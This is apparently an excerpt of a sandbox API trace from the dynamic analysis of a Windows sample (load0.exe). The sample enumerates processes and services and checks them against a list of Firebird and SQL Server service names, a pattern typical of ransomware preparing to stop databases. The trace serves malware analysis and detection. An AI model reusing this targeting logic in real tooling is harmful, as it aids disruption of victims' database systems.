[0285.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0285.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0285.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0285.798] lstrlenW (lpString="Spooler") returned 7 [0285.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0285.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0285.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0285.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0285.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0285.798] lstrlenW (lpString="SSDPSRV") returned 7 [0285.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0285.798] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0285.798] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0285.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0285.798] lstrlenW (lpString="StateRepository") returned 15 [0285.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0285.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0285.931] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0285.931] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0285.931] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0285.931] lstrlenW (lpString="SysMain") returned 7 [0285.931] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0285.931] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0285.931] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0285.932] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0285.932] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0285.932] lstrlenW (lpString="SystemEventsBroker") returned 18 [0285.932] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.932] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.932] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0285.932] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0285.932] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7c90f8 | out: hHeap=0x730000) returned 1 [0285.932] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1048 [0285.943] Process32FirstW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.944] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.945] lstrlenW (lpString="System") returned 6 [0285.945] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.945] lstrlenW (lpString="smss.exe") returned 8 [0285.946] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.946] lstrlenW (lpString="csrss.exe") returned 9 [0285.946] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.947] lstrlenW (lpString="wininit.exe") returned 11 [0285.947] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.948] lstrlenW (lpString="csrss.exe") returned 9 [0285.948] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.948] lstrlenW (lpString="winlogon.exe") returned 12 [0285.948] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.949] lstrlenW (lpString="services.exe") returned 12 [0285.949] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.950] lstrlenW (lpString="lsass.exe") returned 9 [0285.950] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.951] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.951] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.951] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.951] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.952] lstrlenW (lpString="svchost.exe") returned 11 [0285.952] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.953] lstrlenW (lpString="svchost.exe") returned 11 [0285.953] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.953] lstrlenW (lpString="dwm.exe") returned 7 [0285.953] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.954] lstrlenW (lpString="svchost.exe") returned 11 [0285.954] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.955] lstrlenW (lpString="svchost.exe") returned 11 [0285.955] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.956] lstrlenW (lpString="svchost.exe") returned 11 [0285.956] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.956] lstrlenW (lpString="svchost.exe") returned 11 [0285.956] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.957] lstrlenW (lpString="svchost.exe") returned 11 [0285.957] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.958] lstrlenW (lpString="svchost.exe") returned 11 [0285.958] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.958] lstrlenW (lpString="svchost.exe") returned 11 [0285.958] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.959] lstrlenW (lpString="svchost.exe") returned 11 [0285.959] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.960] lstrlenW (lpString="svchost.exe") returned 11 [0285.960] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.960] lstrlenW (lpString="svchost.exe") returned 11 [0285.960] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.961] lstrlenW (lpString="spoolsv.exe") returned 11 [0285.961] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.961] lstrlenW (lpString="svchost.exe") returned 11 [0285.961] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.962] lstrlenW (lpString="audiodg.exe") returned 11 [0285.962] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0285.963] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0285.963] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0285.963] lstrlenW (lpString="Memory Compression") returned 18 [0285.963] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0285.964] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0285.964] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.964] lstrlenW (lpString="sihost.exe") returned 10 [0285.965] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.965] lstrlenW (lpString="svchost.exe") returned 11 [0285.965] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.966] lstrlenW (lpString="taskhostw.exe") returned 13 [0285.966] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0285.966] lstrlenW (lpString="msoia.exe") returned 9 [0285.966] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.967] lstrlenW (lpString="explorer.exe") returned 12 [0285.967] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.967] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0285.968] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.968] lstrlenW (lpString="SearchUI.exe") returned 12 [0285.968] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.969] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0285.969] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0285.969] lstrlenW (lpString="load0.exe") returned 9 [0285.969] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0285.970] lstrlenW (lpString="load0.exe") returned 9 [0285.970] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.177] lstrlenW (lpString="svchost.exe") returned 11 [0286.178] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0286.178] lstrlenW (lpString="cmd.exe") returned 7 [0286.178] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0286.179] lstrlenW (lpString="conhost.exe") returned 11 [0286.179] Process32NextW (in: hSnapshot=0x1048, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0286.180] CloseHandle (hObject=0x1048) returned 1 [0286.180] Sleep (dwMilliseconds=0x1f4) [0286.886] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd828 [0286.887] EnumServicesStatusExW (in: hSCManager=0x7bd828, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0286.887] GetLastError () returned 0xea [0286.887] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x7c70f0 [0286.888] EnumServicesStatusExW (in: hSCManager=0x7bd828, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7c70f0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7c70f0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0286.888] CloseServiceHandle (hSCObject=0x7bd828) returned 1 [0286.889] lstrlenW (lpString="Appinfo") returned 7 [0286.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0286.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0286.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0286.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0286.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0286.889] lstrlenW (lpString="AppXSvc") returned 7 [0286.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0286.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0286.889] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0286.889] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0286.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0286.889] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0286.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0286.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0286.889] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0286.889] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0286.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0286.889] lstrlenW (lpString="Audiosrv") returned 8 [0286.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0286.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0286.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0286.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0286.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0286.889] lstrlenW (lpString="BFE") returned 3 [0286.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0286.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0286.889] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0286.890] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0286.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0286.890] lstrlenW (lpString="BITS") returned 4 [0286.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0286.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0286.890] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0286.890] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0286.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0286.890] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0286.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0286.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0286.890] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0286.890] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0286.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0286.890] lstrlenW (lpString="CDPSvc") returned 6 [0286.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0286.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0286.890] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0286.890] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0286.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0286.890] lstrlenW (lpString="ClickToRunSvc") returned 13 [0286.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0286.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0286.890] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0286.890] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0286.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0286.890] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0286.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0286.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0286.890] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0286.890] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0286.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0286.891] lstrlenW (lpString="CryptSvc") returned 8 [0286.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0286.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0286.891] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0286.891] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0286.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0286.891] lstrlenW (lpString="DcomLaunch") returned 10 [0286.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0286.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0286.891] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0286.891] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0286.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0286.891] lstrlenW (lpString="DeviceAssociationService") returned 24 [0286.891] 